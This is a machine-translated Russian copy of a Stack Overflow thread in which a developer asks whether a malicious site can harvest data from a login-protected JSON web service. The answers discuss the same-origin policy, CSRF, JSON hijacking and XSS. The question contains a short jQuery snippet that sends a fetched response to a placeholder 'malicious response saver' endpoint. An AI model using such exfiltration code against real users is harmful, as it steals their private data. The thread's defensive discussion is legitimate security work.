Защитить защищенный веб-сервис JSON от сбора данных?

У нас есть веб-служба JSON, которая используется одной из наших веб-страниц для отображения «живых» данных. Чтобы попасть на страницу, пользователь должен войти в систему. Нас беспокоит возможность сбора этих данных вредоносными сайтами (конкурентами). Однако я не уверен, что проблема, которую мы ожидаем, правдоподобна.

Как только пользователь входит в систему, мы сохраняем файл cookie «запомнить меня» на его компьютере. Если кто-то создаст сайт, который сделает запрос AJAX к нашему веб-сервису и убедит вошедшего в систему пользователя посетить сайт, сможет ли он получить и сохранить информацию из нашего сервиса? Если да, то как мы можем защитить себя от чего-то подобного?

Например:

Может ли вредоносный веб-сайт создать такой скрипт для получения наших данных:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

Поскольку они обращаются к нашему каналу JSON, не отправит ли он файл cookie на наш сайт, и пользователь будет аутентифицирован. Поскольку они будут аутентифицированы, не отправит ли он конфиденциальные данные обратно?


person TaylorOtwell    schedule 12.04.2011    source источник


Ответы (2)


При отсутствии какой-либо еще не исправленной уязвимости браузера то, о чем вы, кажется, беспокоитесь, не может быть сделано.

Скрипт в другом домене не сможет выполнять запросы AJAX к вашему домену. Он также не может загрузить страницу с вашего домена и «украсть» эту информацию.

В отношении CSRF вам нужно беспокоиться о деструктивных действиях через GET-запросы, которые, конечно, вообще не требуют никаких сценариев. И все это, конечно, предполагает, что ваш сайт не уязвим для межсайтового скриптинга (который может позволить кому-то «украсть» данные через чужой логин).

Я думаю, что у вас гораздо больше шансов иметь проблемы с «законными» пользователями, которые там, чтобы «добывать» ваши данные. Однако это больше относится к бизнес-уровню... помимо обеспечения надлежащего ведения журнала для выявления таких ситуаций.

person Andrew Barber    schedule 12.04.2011
comment
Мне удалось смоделировать пример выполнения междоменного AJAX-запроса, и я видел множество статей в Интернете, в которых говорится, что это уязвимость. Можно уточнить, почему это невозможно? - person TaylorOtwell; 12.04.2011
comment
Я был осторожен с моей формулировкой, чтобы включить еще не исправленную уязвимость. Иначе это невозможно, потому что все браузеры соблюдают это разделение. Если бы они этого не сделали, любой мог бы легко создать веб-страницу, которая заставляла бы ваш браузер делать то, что они хотели, на любом веб-сайте, который они хотели. CSRF фактически положит конец сети, и точка. Вместо этого CSRF в первую очередь является проблемой для сайтов, которые не помнят принцип идемпотентных GET. - person Andrew Barber; 12.04.2011
comment
Но вот что на самом деле было моей главной мыслью: вы продаете информацию. Это означает, что люди получат эту информацию. Забудьте о CSRF... вы даете людям информацию на законных основаниях. Что вы делаете, чтобы ваши платные пользователи не собирались просто перепродавать информацию? - person Andrew Barber; 12.04.2011
comment
... и я хотел бы увидеть ваш пример. Я предполагаю, что вы не совсем понимаете, что такое Монти; Вам не нужен AJAX, чтобы сделать простой запрос GET — они могут просто поместить тег IMG на свою страницу, который сделает это. Я не об этом. - person Andrew Barber; 12.04.2011
comment
Пример опубликован в исходном вопросе. - person TaylorOtwell; 12.04.2011
comment
На этом сайте и в других местах так много вопросов, где люди пытаются понять, как выполнять междоменные POST-запросы, например этот: stackoverflow.com/questions/298745/ Как я уже отмечал ; сделать запрос совсем не сложно - вам не нужен Javascript для выполнения любого междоменного запроса. Но манипулировать им — это отдельная история. - person Andrew Barber; 15.04.2011

Если вы опасаетесь, что злоумышленник сможет использовать сеанс легитимного пользователя для извлечения JSON-объектов, вы говорите о JSON-hijacking. Это зависит от того, как структурированы ваши JSON-файлы, возможна ли такая атака. Посмотрите термин «перехват JSON» для получения дополнительной информации или не стесняйтесь оставлять комментарий с более подробной информацией о вашем приложении, касающемся JSON-объектов. Если вы обнаружите, что уязвимы, добавление CSRF-токена поможет остановить любые атаки захвата JSON.

Вы также должны убедиться, что в вашем веб-приложении нет ни одной уязвимости межсайтового скриптинга (XSS). Если злоумышленник может использовать XSS, ему довольно легко собирать данные, управляя браузером действительного пользователя. CSRF-токены в таком случае бесполезны.

person Demento    schedule 12.04.2011
comment
Спасибо за совет по JSON-Hijacking. Я просмотрел несколько статей по этой теме, но я не понимаю, почему упаковка объектов защищает вас. Может ли кто-то еще не создать запрос jQuery (например) AJAX, а затем отправить ответ обратно на свой собственный сервер и записать его на диск? - person TaylorOtwell; 12.04.2011